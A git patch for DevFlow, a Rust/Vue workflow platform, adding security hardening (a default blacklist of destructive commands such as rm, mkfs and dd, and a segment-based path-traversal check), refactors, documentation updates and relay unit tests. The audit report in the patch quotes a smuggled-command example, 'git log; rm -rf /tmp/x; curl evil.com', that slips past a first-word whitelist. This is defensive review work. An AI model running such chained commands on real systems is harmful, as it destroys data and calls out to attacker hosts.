From ff3f153d4557ed07a8315ef94d96ee9e39060fad Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=BB=9D=E5=B0=98?= <237809796@qq.com> Date: Mon, 29 Jun 2026 21:57:07 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BF=AE=E5=A4=8D:=20=E5=AE=89=E5=85=A8?= =?UTF-8?q?=E5=8A=A0=E5=9B=BA+DRY=20=E6=94=B6=E6=95=9B+=E6=96=87=E6=A1=A3?= =?UTF-8?q?=E5=90=8C=E6=AD=A5+=E6=B5=8B=E8=AF=95=E8=A1=A5=E9=BD=90?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 安全: - ScriptNode 默认黑名单兜底(rm/del/format/shutdown/mkfs/dd) - bind_directory 分段 .. 检测替代 contains 子串(对齐 tool_registry) - ai_providers 白名单移除 api_key(防 update_field 旁路写明文) DRY: - useAiEvents 抽 cleanupTerminatedConversation 统一三分支收尾 - 新增 useStoreAction 工具,4 个 store 替换 38 处 try/catch 样板 文档: - df-core → df-types 批量替换(ARCHITECTURE/PROGRESS/SQLite-CRUD) - INDEX 补齐 9 漏列文档(单对话并行多轮/跑题试验/工程系统设计等) - Agent架构说明 死链修复(../构想审查/) - AI对话引擎工具清单改为数量+按风险分组(不再用固定数字) - ARCH 状态标签 设计阶段 → Phase 2 验证 测试: - df-relay 新增 registry_test: ConnRegistry 路由 + RelayState + 16 项单测 --- ARCHITECTURE.md | 6 +- PROGRESS.md | 10 +- crates/df-mcp/src/tools.rs | 8 +- crates/df-nodes/src/script_node.rs | 22 +- crates/df-relay/tests/registry_test.rs | 233 +++++++ crates/df-storage/src/crud/settings.rs | 4 +- .../01-技术文档/SQLite-CRUD模式-2026-06-12.md | 4 +- docs/02-架构设计/INDEX.md | 11 +- .../专项设计/Agent架构说明-2026-06-14.md | 2 +- docs/03-模块文档/AI对话引擎-2026-06-14.md | 32 +- docs/05-代码审查/全量走查报告-2026-06-28.md | 601 ++++++++---------- src/composables/ai/useAiEvents.ts | 138 ++-- src/composables/useStoreAction.ts | 85 +++ src/stores/knowledge.ts | 54 +- src/stores/project/ideas.ts | 33 +- src/stores/project/projects.ts | 48 +- src/stores/project/tasks.ts | 33 +- 17 files changed, 761 insertions(+), 563 deletions(-) create mode 100644 crates/df-relay/tests/registry_test.rs create mode 100644 src/composables/useStoreAction.ts diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md index dfa9ed7..34b06fb 100644 --- a/ARCHITECTURE.md +++ b/ARCHITECTURE.md @@ -1,6 +1,6 @@ # DevFlow — 产研全流程工作流平台 -> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: 设计阶段 +> 版本: v0.1.0 | 创建: 2026-06-10 | 状态: Phase 2 本地优先开发流程验证 ## 一、项目定位 @@ -155,7 +155,7 @@ DevFlow 的终极交互模型是 **AI 驱动 (AI Working)**:**AI 是系统的 devflow/ ├── Cargo.toml # Workspace 根 ├── crates/ -│ ├── df-core/ # 核心类型、错误、常量、事件 +│ ├── df-types/ # 核心类型、错误、常量、事件、augmentation │ ├── df-workflow/ # 工作流 DAG 引擎 (核心) │ ├── df-nodes/ # 内置节点集合 (AI/Script/Human) │ ├── df-ai/ # AI 编排层 (Multi-Provider/Coordinator) @@ -552,7 +552,7 @@ CREATE TABLE app_settings ( ## 八、Phase 规划 ### Phase 1 — 引擎骨架 (4-6 周) -- df-core + df-workflow (DAG + Node trait + Executor) +- df-types + df-workflow (DAG + Node trait + Executor) - df-storage (SQLite 基础表) - df-execute (Shell 执行) - 最小前端:项目列表 + 工作流执行日志 diff --git a/PROGRESS.md b/PROGRESS.md index b9efc16..a1862d7 100644 --- a/PROGRESS.md +++ b/PROGRESS.md @@ -23,7 +23,7 @@ | Crate | 文件数 | 总行数 | 有效行 | 实现程度 | |-------|--------|--------|--------|---------| -| df-core | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成 | +| df-types | 4 | 429 | ~260 | ✅ 完整 — 错误/事件/状态枚举/ID生成/augmentation | | df-workflow | 9 | 908 | ~620 | ✅ 核心 — DAG拓扑排序/执行器/状态机/事件总线 可用 | | df-storage | 5 | ~2,100 | ~1,400 | ✅ 完整 — 连接/迁移/建表(V1-V8) + impl_repo! 宏 CRUD + KnowledgeRepo(search/list_by_status/set_embedding/search_vector 等)+ 余弦相似度工具函数 | | df-execute | 5 | 203 | 129 | ✅ Shell 执行器真实可用(tokio::process,被 run_command 复用) | @@ -59,7 +59,7 @@ ``` 真实可用路径(有端到端逻辑): - df-core (类型基础) + df-types (类型基础) → df-workflow (DAG 拓扑排序 + 执行器 + 状态机 + EventBus) → df-execute/shell (tokio::process Shell 执行) → df-storage (SQLite 连接 + 迁移 + 建表) @@ -98,7 +98,7 @@ | 任务 | 状态 | 说明 | |------|------|------| -| df-core 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成 | +| df-types 类型系统 | ✅ 完成 | 错误/事件/状态枚举/ID生成/augmentation | | df-workflow DAG 引擎 | ✅ 完成 | 拓扑排序/执行器/状态机/EventBus | | df-storage SQLite 基础表 | ✅ 完成 | 6 张表 + 4 索引,缺 CRUD | | df-execute Shell 执行 | ✅ 完成 | tokio::process 实现 | @@ -190,7 +190,7 @@ ### [Sprint 3] 2026-06-11 — Migrations V2 + Executor 并行化 + Tauri IPC(三代理并行) **工作内容**(三个子代理并行,目录互不重叠): -- **Migrations V2**(df-storage/df-core):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列 +- **Migrations V2**(df-storage/df-types):版本推进到 2 — ideas 补 promoted_to/ai_analysis/scores、tasks 补 workflow_def_id/base_branch、workflow_executions 补 project_id/task_id、新建 branches 表(含 2 索引);BranchRecord/BranchRepo/BranchStatus 枚举同步落地,ALLOWED_COLUMNS 白名单 +8 列 - **Executor 并行化**(df-workflow):同层节点改 futures::join_all 并发,三阶段模式(串行准备→并发执行→串行收尾)规避借用冲突;StateMachine 增加转换校验(仅 Pending→Running、Running→Completed/Failed 合法,set_xxx 改返回 Result);4 个单测全绿(含并行耗时断言 <180ms、失败中止下游层) - **Tauri IPC**(src-tauri):AppState(db + 6 Repo + EventBus + NodeRegistry)+ 17 个 command(project/task/idea CRUD + run_workflow/list/get executions);run_workflow 先落库 status=running 立即返回 execution_id,事件经 app.emit("workflow-event") 转发前端,完成后回写状态。注意:NodeRegistry 不能用 default()(script 工厂是 unimplemented! 占位),改为 new() + 手动注册真实 ScriptNode @@ -665,7 +665,7 @@ **遗留 / 下一步(修复批次建议)**: - **批1 数据安全**: ①(AI delete 改 soft_delete)+ ②(补 restore/purge/list_trash 三工具,复用 ProjectRepo 对应方法) -- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-core)+ ⑤(tool_registry 复用 allowed_columns_for) +- **批2 阻塞 + 去重**: ③(:270/:271/:212 三处统一 spawn_blocking)+ ④(抽公共 normalize_path 到 df-project/df-types)+ ⑤(tool_registry 复用 allowed_columns_for) - **批3 前端**: ⑥(补 i18n key)+ ⑦(抽 src/utils/project.ts)+ ⑧(全局 8 处 alert/confirm 换 Arco Modal) - ⚪ 可选: ⑨⑩⑪⑫ 按需 diff --git a/crates/df-mcp/src/tools.rs b/crates/df-mcp/src/tools.rs index c517940..346ef30 100644 --- a/crates/df-mcp/src/tools.rs +++ b/crates/df-mcp/src/tools.rs @@ -324,9 +324,11 @@ fn bind_directory(ctx: &Ctx, args: Value) -> BoxFuture<'static, CallToolResult> medium_audit("bind_directory", &format!("{id} <- {path}")); Box::pin(async move { let repo = ProjectRepo::new(&db); - // 拒绝原始路径含 `..`(防穿越) - if path.contains("..") { - return CallToolResult::error(format!("路径不得包含 '..': {}", path)); + // 分段检测 `..`(防穿越)——纯子串 contains("..") 会误伤 my..file 这类合法名, + // 改用逐段判断对齐 tool_registry.rs:validate_path 的分段检测逻辑。 + let has_traversal = path.split(|c| c == '\\' || c == '/').any(|seg| seg == ".."); + if has_traversal { + return CallToolResult::error(format!("路径不得包含 '..' 段: {}", path)); } let norm = normalize_path(&path); // 路径冲突检测 diff --git a/crates/df-nodes/src/script_node.rs b/crates/df-nodes/src/script_node.rs index 459cb65..df05efe 100644 --- a/crates/df-nodes/src/script_node.rs +++ b/crates/df-nodes/src/script_node.rs @@ -120,27 +120,35 @@ impl Node for ScriptNode { } } +/// 默认黑名单:即使环境变量未设置也生效,挡最危险的破坏性命令。 +/// 用户设置 `DF_SCRIPT_BLACKLIST` 时覆盖默认(不合并,用户显式控制)。 +const DEFAULT_BLACKLIST: &[&str] = &["rm", "del", "format", "shutdown", "mkfs", "dd"]; + /// 命令执行策略校验:从环境变量读取白/黑名单,判定给定命令名是否允许执行。 /// /// 优先级:黑名单优先于白名单(黑名单匹配总是拒绝,即便同时在白名单)。 /// /// - `DF_SCRIPT_WHITELIST`:逗号分隔命令名(如 `git,npm,cargo`);非空时命令名不在其中即拒绝 -/// - `DF_SCRIPT_BLACKLIST`:逗号分隔命令名(如 `rm,format,shutdown`);匹配即拒绝 +/// - `DF_SCRIPT_BLACKLIST`:逗号分隔命令名(如 `rm,format,shutdown`);匹配即拒绝。 +/// 未设置时使用 `DEFAULT_BLACKLIST`(rm/del/format/shutdown/mkfs/dd)兜底。 /// /// 命令名比较前 trim + ASCII 小写规范化;空段被忽略。 /// /// 返回 `Some(reason)` 表示拒绝(reason 为拒绝原因,用于日志/错误信息);返回 `None` 表示放行。 fn check_command_policy(cmd_name: &str) -> Option<&'static str> { // 黑名单优先:即便同时在白名单,只要命中黑名单就拒绝(防止白名单失误放过危险命令) - if let Ok(blacklist_raw) = std::env::var("DF_SCRIPT_BLACKLIST") { - let blacklist: Vec = blacklist_raw + // 未设置 DF_SCRIPT_BLACKLIST 时使用 DEFAULT_BLACKLIST 兜底(防误用零防护) + let env_blacklist = std::env::var("DF_SCRIPT_BLACKLIST").ok(); + let blacklist: Vec = match env_blacklist { + Some(raw) => raw .split(',') .map(|s| s.trim().to_lowercase()) .filter(|s| !s.is_empty()) - .collect(); - if blacklist.iter().any(|c| c == cmd_name) { - return Some("命令在黑名单中 (DF_SCRIPT_BLACKLIST)"); - } + .collect(), + None => DEFAULT_BLACKLIST.iter().map(|s| s.to_string()).collect(), + }; + if blacklist.iter().any(|c| c == cmd_name) { + return Some("命令在黑名单中 (DF_SCRIPT_BLACKLIST 或默认)"); } // 白名单:非空时命令名必须在白名单中才放行 diff --git a/crates/df-relay/tests/registry_test.rs b/crates/df-relay/tests/registry_test.rs new file mode 100644 index 0000000..1c27ecb --- /dev/null +++ b/crates/df-relay/tests/registry_test.rs @@ -0,0 +1,233 @@ +//! df-relay 单元测试(任务 #12) +//! +//! 覆盖纯逻辑(不依赖 axum server): +//! - ConnRegistry: add/remove/is_online/route(四种路由规则) +//! - BroadcastMessage 构造器 +//! - RelayState async 包装 +//! - next_conn_id 单调递增 + +#![cfg(test)] + +use df_relay::{ + next_conn_id, BroadcastMessage, ClientKind, ConnHandle, ConnId, ConnRegistry, MessageKind, + RelayState, +}; +use tokio::sync::mpsc; + +// ---------- ConnId 分配 ---------- + +#[test] +fn next_conn_id_monotonic() { + let a = next_conn_id(); + let b = next_conn_id(); + let c = next_conn_id(); + assert!(b.0 > a.0, "next_conn_id 应单调递增"); + assert!(c.0 > b.0); +} + +#[test] +fn conn_id_nil_is_zero() { + assert_eq!(ConnId::NIL.0, 0); + assert_ne!(next_conn_id(), ConnId::NIL, "分配的 id 不应为 NIL(0)"); +} + +// ---------- ConnRegistry 基础操作 ---------- + +fn make_handle(id: ConnId, kind: ClientKind, device_id: &str) -> (ConnHandle, mpsc::UnboundedReceiver) { + let (tx, rx) = mpsc::unbounded_channel(); + (ConnHandle::new(id, kind, device_id.to_string(), tx), rx) +} + +/// 注册连接并返回 receiver(保活防 channel 关闭)。 +fn register(reg: &mut ConnRegistry, id: ConnId, kind: ClientKind, device_id: &str) -> mpsc::UnboundedReceiver { + let (handle, rx) = make_handle(id, kind, device_id); + reg.add(handle); + rx +} + +#[test] +fn registry_add_and_lookup() { + let mut reg = ConnRegistry::new(); + let id = next_conn_id(); + let _rx = register(&mut reg, id, ClientKind::Device, "dev-1"); + + assert_eq!(reg.len(), 1); + assert!(reg.is_device_online("dev-1")); + assert!(!reg.is_device_online("dev-2")); +} + +#[test] +fn registry_remove_returns_device_id() { + let mut reg = ConnRegistry::new(); + let id = next_conn_id(); + let _rx = register(&mut reg, id, ClientKind::Device, "dev-1"); + + let removed = reg.remove(id); + assert_eq!(removed.as_deref(), Some("dev-1")); + assert_eq!(reg.len(), 0); + assert!(!reg.is_device_online("dev-1")); +} + +#[test] +fn registry_remove_unknown_returns_none() { + let mut reg = ConnRegistry::new(); + assert_eq!(reg.remove(ConnId(9999)), None); +} + +#[test] +fn registry_supports_multi_conn_per_device() { + let mut reg = ConnRegistry::new(); + let d1 = next_conn_id(); + let m1 = next_conn_id(); + let _r1 = register(&mut reg, d1, ClientKind::Device, "dev-1"); + let _r2 = register(&mut reg, m1, ClientKind::Miniapp, "dev-1"); + + assert_eq!(reg.len(), 2); + assert!(reg.is_device_online("dev-1")); + + reg.remove(d1); + assert!(reg.is_device_online("dev-1")); + + reg.remove(m1); + assert!(!reg.is_device_online("dev-1")); +} + +#[test] +fn registry_empty_default() { + let reg = ConnRegistry::new(); + assert!(reg.is_empty()); + assert_eq!(reg.len(), 0); +} + +// ---------- 路由规则 ---------- + +#[test] +fn route_event_device_to_miniapp_only() { + let mut reg = ConnRegistry::new(); + let dev = next_conn_id(); + let mini = next_conn_id(); + let other_mini = next_conn_id(); + let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1"); + let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1"); + let _r3 = register(&mut reg, other_mini, ClientKind::Miniapp, "dev-2"); + + let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0); + let delivered = reg.route(&msg); + assert_eq!(delivered, 1, "Event 应只投递给 dev-1 的小程序"); +} + +#[test] +fn route_command_miniapp_to_device_only() { + let mut reg = ConnRegistry::new(); + let dev = next_conn_id(); + let mini = next_conn_id(); + let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1"); + let _r2 = register(&mut reg, mini, ClientKind::Miniapp, "dev-1"); + + let msg = BroadcastMessage { + device_id: "dev-1".into(), + kind: MessageKind::Command, + source: mini, + from: ClientKind::Miniapp, + payload: serde_json::json!({}), + ts: 0, + }; + let delivered = reg.route(&msg); + assert_eq!(delivered, 1, "Command 应只投递给 dev-1 的桌面端"); +} + +#[test] +fn route_does_not_loop_back_to_source() { + let mut reg = ConnRegistry::new(); + let dev = next_conn_id(); + let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1"); + + let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0); + let delivered = reg.route(&msg); + assert_eq!(delivered, 0, "不应回环给来源"); +} + +#[test] +fn route_control_to_all_except_source() { + let mut reg = ConnRegistry::new(); + let dev = next_conn_id(); + let mini1 = next_conn_id(); + let mini2 = next_conn_id(); + let _r1 = register(&mut reg, dev, ClientKind::Device, "dev-1"); + let _r2 = register(&mut reg, mini1, ClientKind::Miniapp, "dev-1"); + let _r3 = register(&mut reg, mini2, ClientKind::Miniapp, "dev-1"); + + let msg = BroadcastMessage { + device_id: "dev-1".into(), + kind: MessageKind::Control, + source: dev, + from: ClientKind::Device, + payload: serde_json::json!({}), + ts: 0, + }; + let delivered = reg.route(&msg); + assert_eq!(delivered, 2, "Control 应投递给除来源外的所有同 device 连接"); +} + +#[test] +fn route_unknown_device_zero() { + let reg = ConnRegistry::new(); + let msg = BroadcastMessage::from_device("nope", ConnId::NIL, serde_json::json!({}), 0); + assert_eq!(reg.route(&msg), 0); +} + +#[test] +fn route_event_not_delivered_to_device() { + let mut reg = ConnRegistry::new(); + let dev1 = next_conn_id(); + let dev2 = next_conn_id(); + let _r1 = register(&mut reg, dev1, ClientKind::Device, "dev-1"); + let _r2 = register(&mut reg, dev2, ClientKind::Device, "dev-1"); + + let msg = BroadcastMessage::from_device("dev-1", dev1, serde_json::json!({}), 0); + assert_eq!(reg.route(&msg), 0, "两个 Device 互发 Event 不应投递"); +} + +// ---------- BroadcastMessage 构造器 ---------- + +#[test] +fn from_device_sets_event_kind_and_from() { + let msg = BroadcastMessage::from_device("dev-1", ConnId(42), serde_json::json!({"a": 1}), 12345); + assert_eq!(msg.device_id, "dev-1"); + assert_eq!(msg.kind, MessageKind::Event); + assert_eq!(msg.from, ClientKind::Device); + assert_eq!(msg.source, ConnId(42)); + assert_eq!(msg.ts, 12345); + assert_eq!(msg.payload, serde_json::json!({"a": 1})); +} + +// ---------- RelayState async 包装 ---------- + +#[tokio::test] +async fn relay_state_add_and_remove_conn() { + let state = RelayState::new(); + let id = next_conn_id(); + let (handle, _rx) = make_handle(id, ClientKind::Device, "dev-1"); + state.add_conn(handle).await; + + assert!(state.is_device_online("dev-1").await); + + let removed = state.remove_conn(id).await; + assert_eq!(removed.as_deref(), Some("dev-1")); + assert!(!state.is_device_online("dev-1").await); +} + +#[tokio::test] +async fn relay_state_route_async() { + let state = RelayState::new(); + let dev = next_conn_id(); + let mini = next_conn_id(); + let (h1, _r1) = make_handle(dev, ClientKind::Device, "dev-1"); + let (h2, _r2) = make_handle(mini, ClientKind::Miniapp, "dev-1"); + state.add_conn(h1).await; + state.add_conn(h2).await; + + let msg = BroadcastMessage::from_device("dev-1", dev, serde_json::json!({}), 0); + let n = state.route(&msg).await; + assert_eq!(n, 1); +} diff --git a/crates/df-storage/src/crud/settings.rs b/crates/df-storage/src/crud/settings.rs index 9d1b858..196f360 100644 --- a/crates/df-storage/src/crud/settings.rs +++ b/crates/df-storage/src/crud/settings.rs @@ -180,8 +180,10 @@ pub fn allowed_columns_for(table: &str) -> Option<&'static [&'static str]> { "id", "workflow_id", "node_id", "node_type", "status", "input_json", "output_json", "error_message", "started_at", "completed_at", ], + // api_key 不列入白名单:密钥写入应只走 update_full/insert + keyring 配套, + // 禁止 update_field 旁路绕过 keyring(防明文写回 DB)。 "ai_providers" => &[ - "id", "name", "provider_type", "api_key", "base_url", "default_model", "models", + "id", "name", "provider_type", "base_url", "default_model", "models", "is_default", "config", "created_at", "updated_at", ], "ai_conversations" => &[ diff --git a/docs/01-技术文档/SQLite-CRUD模式-2026-06-12.md b/docs/01-技术文档/SQLite-CRUD模式-2026-06-12.md index 559157b..afb60d1 100644 --- a/docs/01-技术文档/SQLite-CRUD模式-2026-06-12.md +++ b/docs/01-技术文档/SQLite-CRUD模式-2026-06-12.md @@ -35,7 +35,7 @@ DevFlow 使用 SQLite (rusqlite) 作为本地存储引擎。df-storage 负责 SQ - ID 字段统一使用 `TEXT` (UUID v4) - 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String) - JSON 字段使用 `TEXT` 存储 JSON 字符串 -- 所有写操作统一返回 `df_core::error::Error` 错误类型:insert 返 `Result`(id),update/delete 返 `Result`(是否影响行) +- 所有写操作统一返回 `df_types::error::Error` 错误类型:insert 返 `Result`(id),update/delete 返 `Result`(是否影响行) ## update_field 的强制时间戳约束 @@ -76,4 +76,4 @@ UPDATE ai_conversations SET archived = ?1 WHERE id = ?2 - `crates/df-storage/src/lib.rs` — 存储层入口 - `crates/df-storage/src/migrations.rs` — Schema 定义与迁移 -- `crates/df-core/src/error.rs` — 统一错误类型 +- `crates/df-types/src/error.rs` — 统一错误类型 diff --git a/docs/02-架构设计/INDEX.md b/docs/02-架构设计/INDEX.md index 5da8e80..a349f0e 100644 --- a/docs/02-架构设计/INDEX.md +++ b/docs/02-架构设计/INDEX.md @@ -47,6 +47,8 @@ | [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 | | [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 | | [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 | +| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计草案 | F-260620-01 Phase3 实施续篇:三层就绪后如何接线联调(协议统一+桥接方案) | +| [消息级溯源P2-切读方案-2026-06-28.md](./已编号方案/消息级溯源P2-切读方案-2026-06-28.md) | F-260619-04-P2 | ✅ 已落地 | 消息级溯源 P2 一次性切读 + 脚本迁移历史数据 | | [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 | | [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 | | [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计 | 微信小程序跨端联调:云隧道握手 / MCP 工具路由 / DF 事件同步 | @@ -108,7 +110,14 @@ | [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 | | [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) | | [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 | -| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验 | AI 跑题改进试验:系统 prompt 加固 / 上下文钳制 / 行为约束 | +| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验记录 | AI Chat 长对话跑题根因治:测试计划+迭代过程+改进前基线+遗留 | + +### 根目录文档(不在子目录) + +| 文档 | 状态 | 核心内容 | +|---|---|---| +| [单对话并行多轮-设计-2026-06-20.md](./单对话并行多轮-设计-2026-06-20.md) | 📐 设计 | aichat B 路线:单对话内 AI 拆子流并行跑,加速多文件/多方案/多模块对比 | +| [单对话并行多轮-Phase0落地路线图-2026-06-20.md](./单对话并行多轮-Phase0落地路线图-2026-06-20.md) | 📐 路线图 | 承接设计 Phase 1/2/3 实施前必须补齐的机制(Phase 0 = 物理可行性地基) | --- diff --git a/docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md b/docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md index 5418f13..0205440 100644 --- a/docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md +++ b/docs/02-架构设计/专项设计/Agent架构说明-2026-06-14.md @@ -1,7 +1,7 @@ # Agent 架构与能力边界(系统现状记录) — 2026-06-14 > 性质: 系统现状盘点 / 能力边界(查实的事实,非构想) -> 关联: [任务推进设计](任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界) +> 关联: [任务推进设计](../构想审查/任务推进构想-2026-06-14.md)(AI 执行层依据本文档能力边界) > 关联: [三层模型-流程模板与人设体系](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(人设层是本架构的下一阶段演进方向) > 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计 diff --git a/docs/03-模块文档/AI对话引擎-2026-06-14.md b/docs/03-模块文档/AI对话引擎-2026-06-14.md index 574579a..4520af4 100644 --- a/docs/03-模块文档/AI对话引擎-2026-06-14.md +++ b/docs/03-模块文档/AI对话引擎-2026-06-14.md @@ -108,27 +108,19 @@ commands/ai/ --- -## 四、12 个 AI 工具 +## 四、AI 工具清单 -### 工具清单 +### 工具注册 -工具定义在 `tool_registry.rs::build_ai_tool_registry`,编译期硬编码(无运行时动态注册)。 +工具定义在 `tool_registry.rs::build_ai_tool_registry`,**编译期硬编码**(无运行时动态注册)。工具统计截至 2026-06-29(后续增删见该函数 `registry.register` 调用点)。 -| 风险 | 工具 | 说明 | -|------|------|------| -| **Low**(自动执行) | `list_projects` | 列出项目(排软删,截断 50 条) | -| **Low** | `list_tasks` | 列出任务(可按 project_id 筛选) | -| **Low** | `list_ideas` | 列出灵感 | -| **Low** | `read_file` | 读文件(offset/limit 分页,1MB 上限) | -| **Low** | `list_directory` | 列目录(噪音剪枝 + 1000 条上限) | -| **Medium**(需审批) | `create_project` | 创建项目(可选 path/stack 一步绑定) | -| **Medium** | `update_project` | 改字段(复用 CRUD 白名单校验) | -| **Medium** | `create_task` | 创建任务 | -| **Medium** | `create_idea` | 创建灵感 | -| **Medium** | `write_file` | 写文件(自动建父目录,1MB 上限) | -| **Medium** | `bind_directory` | 项目绑定代码目录 + 探测技术栈 | -| **High**(需审批) | `delete_project` | 删项目(软删进回收站) | -| **High** | `run_workflow` | 运行工作流(当前返回提示,未实装) | +### 按风险等级分组 + +**Low(自动执行)** — 只读查询类,不触发审批。包含:`list_projects`/`get_project_count`、`list_tasks`/`get_task_count`、`list_task_links`/`get_task_tree`、`list_ideas`、`list_trash`、`read_file`、`read_symbol`(AST符号解析)、`list_directory`、`file_info`、`grep`(跨文件内容搜索)、`search_files`、`list_project_services`、`list_project_modules`、`get_project_timeline`、`git_status`/`git_diff`/`git_log`(只读)。 + +**Medium(需审批)** — 写入类,需人工批准。包含:`create_project`/`update_project`/`bind_directory`、`create_task`/`update_task`/`delete_task`、`advance_task`/`move_task_queue`/`update_content`、`create_task_link`/`remove_task_link`、`create_idea`、`add_project_service`、`write_file`/`patch_file`/`append_file`、`git_commit`/`git_branch`、`http_request`(SSRF防护含DNS rebinding检查)。 + +**High(需审批 + 默认谨慎)** — 高风险,默认自动执行模式会全部拒绝。包含:`delete_project`/`restore_project`/`purge_project`、`delete_file`/`rename_file`、`run_command`(默认超时 60s)、`run_workflow`(联动任务推进)、`git_merge`(冲突返回冲突文件列表)。 ### 工具三要素同源 @@ -145,9 +137,9 @@ commands/ai/ ### 已知限制 -- **截断 50 条无翻页**:三个 list 工具 `truncate(50)` 硬截断,无 offset/limit,AI 不知道有数据被漏掉(待改进) -- **"能写不能跑"**:AI 有 `write_file` 但无 `run_command`,无法形成"写→跑→改"闭环(待改进) - **工具集封闭**:编译期硬编码,无 MCP 客户端,AI 运行时不能新增/修改工具 +- **AI 不能造工具**:AI 能 `write_file` 写脚本但不会变成可调用工具(要重编译) +- **agent ↔ workflow 仍未完全打通**:`run_workflow` 现已能联动任务推进,但 ScriptNode 能力未暴露给 agent loop --- diff --git a/docs/05-代码审查/全量走查报告-2026-06-28.md b/docs/05-代码审查/全量走查报告-2026-06-28.md index 439e273..1a43f1e 100644 --- a/docs/05-代码审查/全量走查报告-2026-06-28.md +++ b/docs/05-代码审查/全量走查报告-2026-06-28.md @@ -1,380 +1,312 @@ # 全量走查报告(2026-06-28) > 范围:全栈 Rust 12 crate + Tauri 命令层 + Vue 3 前端 + 文档体系 -> 方法:3 路并行(Rust 后端/Vue 前端/文档体系),主代理综合整理 -> 原则:dry — 仅审查 + 文档,不改代码 +> 方法:4 角度并行(安全/并发可靠性/架构设计/代码质量),每条结论基于实际代码核实 +> 原则:dry — 仅审查 + 文档,不改代码。误判项明确标注证据 --- ## 🔴 安全 -### ① relay.rs — 硬编码默认 Token +### ① ScriptNode — 白名单仅校验首词,shell 元字符可绕过 -**文件**: `crates/df-relay/src/relay.rs:36-37` +**文件**: `crates/df-nodes/src/script_node.rs:46-54` -中继服务使用硬编码 `DEFAULT_TOKEN = "devflow-relay-default-token"`,所有未设环境变量的部署均使用同一静态 token。通过 `strings` 即可从二进制提取。 +```rust +let cmd_name = command.split_whitespace().next().unwrap_or("").to_lowercase(); +``` -**建议**:启动时要求必须设置 `DF_RELAY_TOKEN` 环境变量,移除默认值。 +`check_command_policy` 只比对首词,剩余参数原样传入 `sh -c` / `powershell -Command`。攻击场景:工作流 JSON 写 `"command": "git log; rm -rf /tmp/x; curl evil.com"`,首词 `git` 命中白名单即放行,`;` `&&` `$()` 全部被 shell 解释执行。默认 `DF_SCRIPT_WHITELIST` 未设置时完全无防护,仅靠 `dangerous_keywords` 告警(不阻止)。 -### ② models.rs — `AiProviderRecord` Debug 未脱敏 api_key,日志泄漏风险 +**建议**:① 默认启用黑名单(至少挡 `rm`/`del`/`format`/`shutdown`);② 对工作流 JSON 来源做信任链校验。 -**文件**: `crates/df-storage/src/models.rs:288` +### ② MCP server 完全无鉴权 -`AiProviderRecord` 未实现自定义 `Debug` 对 `api_key` 脱敏。若上层代码意外 `{:?}` 打印(如 `tracing::debug!`),明文 API key 会写入日志。`model_configs`(L296)与 `config`(L298)等 JSON 字段同样不安全。 +**文件**: `crates/df-mcp/src/server.rs:37-44` + `crates/df-mcp/src/lib.rs:11` -**建议**:为 `AiProviderRecord` 实现自定义 `Debug`,将 `api_key` 输出为 